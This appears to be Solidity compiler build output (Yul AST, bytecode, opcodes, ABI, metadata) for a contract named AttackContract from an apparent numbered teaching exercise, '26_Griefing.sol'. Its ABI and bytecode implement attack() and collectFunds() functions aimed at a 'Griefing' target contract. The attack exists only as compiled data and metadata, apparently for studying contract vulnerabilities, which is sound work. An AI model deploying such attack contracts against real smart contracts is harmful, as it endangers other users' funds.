"src": "403:9:1", | |
"type": "" | |
} | |
], | |
"src": "353:126:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "560:66:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "570:50:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "614:5:1" | |
} | |
], | |
"functionName": { | |
"name": "convert_t_uint160_to_t_address", | |
"nodeType": "YulIdentifier", | |
"src": "583:30:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "583:37:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "converted", | |
"nodeType": "YulIdentifier", | |
"src": "570:9:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "convert_t_contract$_Griefing_$35_to_t_address", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "540:5:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "converted", | |
"nodeType": "YulTypedName", | |
"src": "550:9:1", | |
"type": "" | |
} | |
], | |
"src": "485:141:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "712:81:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "729:3:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "780:5:1" | |
} | |
], | |
"functionName": { | |
"name": "convert_t_contract$_Griefing_$35_to_t_address", | |
"nodeType": "YulIdentifier", | |
"src": "734:45:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "734:52:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "722:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "722:65:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "722:65:1" | |
} | |
] | |
}, | |
"name": "abi_encode_t_contract$_Griefing_$35_to_t_address_fromStack", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "700:5:1", | |
"type": "" | |
}, | |
{ | |
"name": "pos", | |
"nodeType": "YulTypedName", | |
"src": "707:3:1", | |
"type": "" | |
} | |
], | |
"src": "632:161:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "912:139:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "922:26:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "934:9:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "945:2:1", | |
"type": "", | |
"value": "32" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "930:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "930:18:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "tail", | |
"nodeType": "YulIdentifier", | |
"src": "922:4:1" | |
} | |
] | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "value0", | |
"nodeType": "YulIdentifier", | |
"src": "1017:6:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "1030:9:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1041:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "1026:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1026:17:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_encode_t_contract$_Griefing_$35_to_t_address_fromStack", | |
"nodeType": "YulIdentifier", | |
"src": "958:58:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "958:86:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "958:86:1" | |
} | |
] | |
}, | |
"name": "abi_encode_tuple_t_contract$_Griefing_$35__to_t_address__fromStack_reversed", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulTypedName", | |
"src": "884:9:1", | |
"type": "" | |
}, | |
{ | |
"name": "value0", | |
"nodeType": "YulTypedName", | |
"src": "896:6:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "tail", | |
"nodeType": "YulTypedName", | |
"src": "907:4:1", | |
"type": "" | |
} | |
], | |
"src": "799:252:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "1102:32:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "1112:16:1", | |
"value": { | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "1123:5:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "cleaned", | |
"nodeType": "YulIdentifier", | |
"src": "1112:7:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "cleanup_t_uint256", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "1084:5:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "cleaned", | |
"nodeType": "YulTypedName", | |
"src": "1094:7:1", | |
"type": "" | |
} | |
], | |
"src": "1057:77:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "1168:152:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1185:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1188:77:1", | |
"type": "", | |
"value": "35408467139433450592217433187231851964531694900788300625387963629091585785856" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "1178:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1178:88:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "1178:88:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1282:1:1", | |
"type": "", | |
"value": "4" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1285:4:1", | |
"type": "", | |
"value": "0x11" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "1275:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1275:15:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "1275:15:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1306:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1309:4:1", | |
"type": "", | |
"value": "0x24" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "1299:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1299:15:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "1299:15:1" | |
} | |
] | |
}, | |
"name": "panic_error_0x11", | |
"nodeType": "YulFunctionDefinition", | |
"src": "1140:180:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "1370:147:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "1380:25:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "x", | |
"nodeType": "YulIdentifier", | |
"src": "1403:1:1" | |
} | |
], | |
"functionName": { | |
"name": "cleanup_t_uint256", | |
"nodeType": "YulIdentifier", | |
"src": "1385:17:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1385:20:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "x", | |
"nodeType": "YulIdentifier", | |
"src": "1380:1:1" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "1414:25:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "y", | |
"nodeType": "YulIdentifier", | |
"src": "1437:1:1" | |
} | |
], | |
"functionName": { | |
"name": "cleanup_t_uint256", | |
"nodeType": "YulIdentifier", | |
"src": "1419:17:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1419:20:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "y", | |
"nodeType": "YulIdentifier", | |
"src": "1414:1:1" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "1448:16:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "x", | |
"nodeType": "YulIdentifier", | |
"src": "1459:1:1" | |
}, | |
{ | |
"name": "y", | |
"nodeType": "YulIdentifier", | |
"src": "1462:1:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "1455:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1455:9:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "sum", | |
"nodeType": "YulIdentifier", | |
"src": "1448:3:1" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "1488:22:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "panic_error_0x11", | |
"nodeType": "YulIdentifier", | |
"src": "1490:16:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1490:18:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "1490:18:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "x", | |
"nodeType": "YulIdentifier", | |
"src": "1480:1:1" | |
}, | |
{ | |
"name": "sum", | |
"nodeType": "YulIdentifier", | |
"src": "1483:3:1" | |
} | |
], | |
"functionName": { | |
"name": "gt", | |
"nodeType": "YulIdentifier", | |
"src": "1477:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1477:10:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "1474:36:1" | |
} | |
] | |
}, | |
"name": "checked_add_t_uint256", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "x", | |
"nodeType": "YulTypedName", | |
"src": "1357:1:1", | |
"type": "" | |
}, | |
{ | |
"name": "y", | |
"nodeType": "YulTypedName", | |
"src": "1360:1:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "sum", | |
"nodeType": "YulTypedName", | |
"src": "1366:3:1", | |
"type": "" | |
} | |
], | |
"src": "1326:191:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "1588:53:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "1605:3:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "1628:5:1" | |
} | |
], | |
"functionName": { | |
"name": "cleanup_t_uint256", | |
"nodeType": "YulIdentifier", | |
"src": "1610:17:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1610:24:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "1598:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1598:37:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "1598:37:1" | |
} | |
] | |
}, | |
"name": "abi_encode_t_uint256_to_t_uint256_fromStack", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "1576:5:1", | |
"type": "" | |
}, | |
{ | |
"name": "pos", | |
"nodeType": "YulTypedName", | |
"src": "1583:3:1", | |
"type": "" | |
} | |
], | |
"src": "1523:118:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "1745:124:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "1755:26:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "1767:9:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1778:2:1", | |
"type": "", | |
"value": "32" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "1763:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1763:18:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "tail", | |
"nodeType": "YulIdentifier", | |
"src": "1755:4:1" | |
} | |
] | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "value0", | |
"nodeType": "YulIdentifier", | |
"src": "1835:6:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "1848:9:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1859:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "1844:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1844:17:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_encode_t_uint256_to_t_uint256_fromStack", | |
"nodeType": "YulIdentifier", | |
"src": "1791:43:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1791:71:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "1791:71:1" | |
} | |
] | |
}, | |
"name": "abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulTypedName", | |
"src": "1717:9:1", | |
"type": "" | |
}, | |
{ | |
"name": "value0", | |
"nodeType": "YulTypedName", | |
"src": "1729:6:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "tail", | |
"nodeType": "YulTypedName", | |
"src": "1740:4:1", | |
"type": "" | |
} | |
], | |
"src": "1647:222:1" | |
} | |
] | |
}, | |
"contents": "{\n\n function cleanup_t_uint160(value) -> cleaned {\n cleaned := and(value, 0xffffffffffffffffffffffffffffffffffffffff)\n }\n\n function identity(value) -> ret {\n ret := value\n }\n\n function convert_t_uint160_to_t_uint160(value) -> converted {\n converted := cleanup_t_uint160(identity(cleanup_t_uint160(value)))\n }\n\n function convert_t_uint160_to_t_address(value) -> converted {\n converted := convert_t_uint160_to_t_uint160(value)\n }\n\n function convert_t_contract$_Griefing_$35_to_t_address(value) -> converted {\n converted := convert_t_uint160_to_t_address(value)\n }\n\n function abi_encode_t_contract$_Griefing_$35_to_t_address_fromStack(value, pos) {\n mstore(pos, convert_t_contract$_Griefing_$35_to_t_address(value))\n }\n\n function abi_encode_tuple_t_contract$_Griefing_$35__to_t_address__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_contract$_Griefing_$35_to_t_address_fromStack(value0, add(headStart, 0))\n\n }\n\n function cleanup_t_uint256(value) -> cleaned {\n cleaned := value\n }\n\n function panic_error_0x11() {\n mstore(0, 35408467139433450592217433187231851964531694900788300625387963629091585785856)\n mstore(4, 0x11)\n revert(0, 0x24)\n }\n\n function checked_add_t_uint256(x, y) -> sum {\n x := cleanup_t_uint256(x)\n y := cleanup_t_uint256(y)\n sum := add(x, y)\n\n if gt(x, sum) { panic_error_0x11() }\n\n }\n\n function abi_encode_t_uint256_to_t_uint256_fromStack(value, pos) {\n mstore(pos, cleanup_t_uint256(value))\n }\n\n function abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_uint256_to_t_uint256_fromStack(value0, add(headStart, 0))\n\n }\n\n}\n", | |
"id": 1, | |
"language": "Yul", | |
"name": "#utility.yul" | |
} | |
], | |
"immutableReferences": {}, | |
"linkReferences": {}, | |
"object": "608060405260043610610033575f3560e01c80635b980628146100375780639e5faafc1461004d578063bd90df7014610057575b5f80fd5b348015610042575f80fd5b5061004b610081565b005b6100556100c7565b005b348015610062575f80fd5b5061006b6101d6565b6040516100789190610273565b60405180910390f35b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156100c4573d5f803e3d5ffd5b50565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d7bb99ba346040518263ffffffff1660e01b81526004015f604051808303818588803b15801561012c575f80fd5b505af115801561013e573d5f803e3d5ffd5b50505050505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d60013461018b91906102c2565b6040518263ffffffff1660e01b81526004016101a79190610304565b5f604051808303815f87803b1580156101be575f80fd5b505af11580156101d0573d5f803e3d5ffd5b50505050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f819050919050565b5f61023b610236610231846101f9565b610218565b6101f9565b9050919050565b5f61024c82610221565b9050919050565b5f61025d82610242565b9050919050565b61026d81610253565b82525050565b5f6020820190506102865f830184610264565b92915050565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6102cc8261028c565b91506102d78361028c565b92508282019050808211156102ef576102ee610295565b5b92915050565b6102fe8161028c565b82525050565b5f6020820190506103175f8301846102f5565b9291505056fea264697066735822122008d1769b75835d14ec647b7d9003d6cd162985984a097e0e13d09873431ab2e964736f6c63430008140033", | |
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x33 JUMPI PUSH0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x5B980628 EQ PUSH2 0x37 JUMPI DUP1 PUSH4 0x9E5FAAFC EQ PUSH2 0x4D JUMPI DUP1 PUSH4 0xBD90DF70 EQ PUSH2 0x57 JUMPI JUMPDEST PUSH0 DUP1 REVERT JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x42 JUMPI PUSH0 DUP1 REVERT JUMPDEST POP PUSH2 0x4B PUSH2 0x81 JUMP JUMPDEST STOP JUMPDEST PUSH2 0x55 PUSH2 0xC7 JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x62 JUMPI PUSH0 DUP1 REVERT JUMPDEST POP PUSH2 0x6B PUSH2 0x1D6 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x78 SWAP2 SWAP1 PUSH2 0x273 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH2 0x8FC SELFBALANCE SWAP1 DUP2 ISZERO MUL SWAP1 PUSH1 0x40 MLOAD PUSH0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP9 DUP9 CALL SWAP4 POP POP POP POP ISZERO DUP1 ISZERO PUSH2 0xC4 JUMPI RETURNDATASIZE PUSH0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH0 REVERT JUMPDEST POP JUMP JUMPDEST PUSH0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0xD7BB99BA CALLVALUE PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP9 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x12C JUMPI PUSH0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x13E JUMPI RETURNDATASIZE PUSH0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH0 REVERT JUMPDEST POP POP POP POP POP PUSH0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x2E1A7D4D PUSH1 0x1 CALLVALUE PUSH2 0x18B SWAP2 SWAP1 PUSH2 0x2C2 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x1A7 SWAP2 SWAP1 PUSH2 0x304 JUMP JUMPDEST PUSH0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x1BE JUMPI PUSH0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x1D0 JUMPI RETURNDATASIZE PUSH0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH0 REVERT JUMPDEST POP POP POP POP JUMP JUMPDEST PUSH0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 JUMP JUMPDEST PUSH0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH0 PUSH2 0x23B PUSH2 0x236 PUSH2 0x231 DUP5 PUSH2 0x1F9 JUMP JUMPDEST PUSH2 0x218 JUMP JUMPDEST PUSH2 0x1F9 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH0 PUSH2 0x24C DUP3 PUSH2 0x221 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH0 PUSH2 0x25D DUP3 PUSH2 0x242 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x26D DUP2 PUSH2 0x253 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x286 PUSH0 DUP4 ADD DUP5 PUSH2 0x264 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH32 0x4E487B7100000000000000000000000000000000000000000000000000000000 PUSH0 MSTORE PUSH1 0x11 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH0 REVERT JUMPDEST PUSH0 PUSH2 0x2CC DUP3 PUSH2 0x28C JUMP JUMPDEST SWAP2 POP PUSH2 0x2D7 DUP4 PUSH2 0x28C JUMP JUMPDEST SWAP3 POP DUP3 DUP3 ADD SWAP1 POP DUP1 DUP3 GT ISZERO PUSH2 0x2EF JUMPI PUSH2 0x2EE PUSH2 0x295 JUMP JUMPDEST JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH2 0x2FE DUP2 PUSH2 0x28C JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x317 PUSH0 DUP4 ADD DUP5 PUSH2 0x2F5 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 ADDMOD 0xD1 PUSH23 0x9B75835D14EC647B7D9003D6CD162985984A097E0E13D0 SWAP9 PUSH20 0x431AB2E964736F6C634300081400330000000000 ", | |
"sourceMap": "434:633:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;903:161;;;;;;;;;;;;;:::i;:::-;;606:289;;;:::i;:::-;;465:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;903:161;1013:10;1005:28;;:51;1034:21;1005:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;903:161::o;606:289::-;709:14;;;;;;;;;;:25;;;742:9;709:45;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;849:14;;;;;;;;;;:23;;;885:1;873:9;:13;;;;:::i;:::-;849:38;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;606:289::o;465:30::-;;;;;;;;;;;;:::o;7:126:1:-;44:7;84:42;77:5;73:54;62:65;;7:126;;;:::o;139:60::-;167:3;188:5;181:12;;139:60;;;:::o;205:142::-;255:9;288:53;306:34;315:24;333:5;315:24;:::i;:::-;306:34;:::i;:::-;288:53;:::i;:::-;275:66;;205:142;;;:::o;353:126::-;403:9;436:37;467:5;436:37;:::i;:::-;423:50;;353:126;;;:::o;485:141::-;550:9;583:37;614:5;583:37;:::i;:::-;570:50;;485:141;;;:::o;632:161::-;734:52;780:5;734:52;:::i;:::-;729:3;722:65;632:161;;:::o;799:252::-;907:4;945:2;934:9;930:18;922:26;;958:86;1041:1;1030:9;1026:17;1017:6;958:86;:::i;:::-;799:252;;;;:::o;1057:77::-;1094:7;1123:5;1112:16;;1057:77;;;:::o;1140:180::-;1188:77;1185:1;1178:88;1285:4;1282:1;1275:15;1309:4;1306:1;1299:15;1326:191;1366:3;1385:20;1403:1;1385:20;:::i;:::-;1380:25;;1419:20;1437:1;1419:20;:::i;:::-;1414:25;;1462:1;1459;1455:9;1448:16;;1483:3;1480:1;1477:10;1474:36;;;1490:18;;:::i;:::-;1474:36;1326:191;;;;:::o;1523:118::-;1610:24;1628:5;1610:24;:::i;:::-;1605:3;1598:37;1523:118;;:::o;1647:222::-;1740:4;1778:2;1767:9;1763:18;1755:26;;1791:71;1859:1;1848:9;1844:17;1835:6;1791:71;:::i;:::-;1647:222;;;;:::o" | |
}, | |
"gasEstimates": { | |
"creation": { | |
"codeDepositCost": "170200", | |
"executionCost": "infinite", | |
"totalCost": "infinite" | |
}, | |
"external": { | |
"attack()": "infinite", | |
"collectFunds()": "infinite", | |
"targetContract()": "infinite" | |
} | |
}, | |
"methodIdentifiers": { | |
"attack()": "9e5faafc", | |
"collectFunds()": "5b980628", | |
"targetContract()": "bd90df70" | |
} | |
}, | |
"abi": [ | |
{ | |
"inputs": [ | |
{ | |
"internalType": "address", | |
"name": "targetAddress", | |
"type": "address" | |
} | |
], | |
"stateMutability": "nonpayable", | |
"type": "constructor" | |
}, | |
{ | |
"inputs": [], | |
"name": "attack", | |
"outputs": [], | |
"stateMutability": "payable", | |
"type": "function" | |
}, | |
{ | |
"inputs": [], | |
"name": "collectFunds", | |
"outputs": [], | |
"stateMutability": "nonpayable", | |
"type": "function" | |
}, | |
{ | |
"inputs": [], | |
"name": "targetContract", | |
"outputs": [ | |
{ | |
"internalType": "contract Griefing", | |
"name": "", | |
"type": "address" | |
} | |
], | |
"stateMutability": "view", | |
"type": "function" | |
} | |
] | |
} |
{ | |
"compiler": { | |
"version": "0.8.20+commit.a1b79de6" | |
}, | |
"language": "Solidity", | |
"output": { | |
"abi": [ | |
{ | |
"inputs": [ | |
{ | |
"internalType": "address", | |
"name": "targetAddress", | |
"type": "address" | |
} | |
], | |
"stateMutability": "nonpayable", | |
"type": "constructor" | |
}, | |
{ | |
"inputs": [], | |
"name": "attack", | |
"outputs": [], | |
"stateMutability": "payable", | |
"type": "function" | |
}, | |
{ | |
"inputs": [], | |
"name": "collectFunds", | |
"outputs": [], | |
"stateMutability": "nonpayable", | |
"type": "function" | |
}, | |
{ | |
"inputs": [], | |
"name": "targetContract", | |
"outputs": [ | |
{ | |
"internalType": "contract Griefing", | |
"name": "", | |
"type": "address" | |
} | |
], | |
"stateMutability": "view", | |
"type": "function" | |
} | |
], | |
"devdoc": { | |
"kind": "dev", | |
"methods": {}, | |
"version": 1 | |
}, | |
"userdoc": { | |
"kind": "user", | |
"methods": {}, | |
"version": 1 | |
} | |
}, | |
"settings": { | |
"compilationTarget": { | |
"contracts/26_Griefing.sol": "AttackContract" | |
}, | |
"evmVersion": "shanghai", | |
"libraries": {}, | |
"metadata": { | |
"bytecodeHash": "ipfs" | |
}, | |
"optimizer": { | |
"enabled": false, | |
"runs": 200 | |
}, | |
"remappings": [] | |
}, | |
"sources": { | |
"contracts/26_Griefing.sol": { | |
"keccak256": "0x92ade87d9ac5ed45264bba31cc07015d57ffdf0f1e12c7d2f9018b393f86b18e", | |
"license": "MIT", | |
"urls": [ | |
"bzz-raw://2db9748f40173570a33c9658e77f2cd4d8c622e59460747762d323a63da046af", | |
"dweb:/ipfs/QmNsrfKQyMPPKc6AX6467cUFxooWWtJRN9XQ1NreE594Cu" | |
] | |
} | |
}, | |
"version": 1 | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity >=0.8.0 <0.9.0; | |
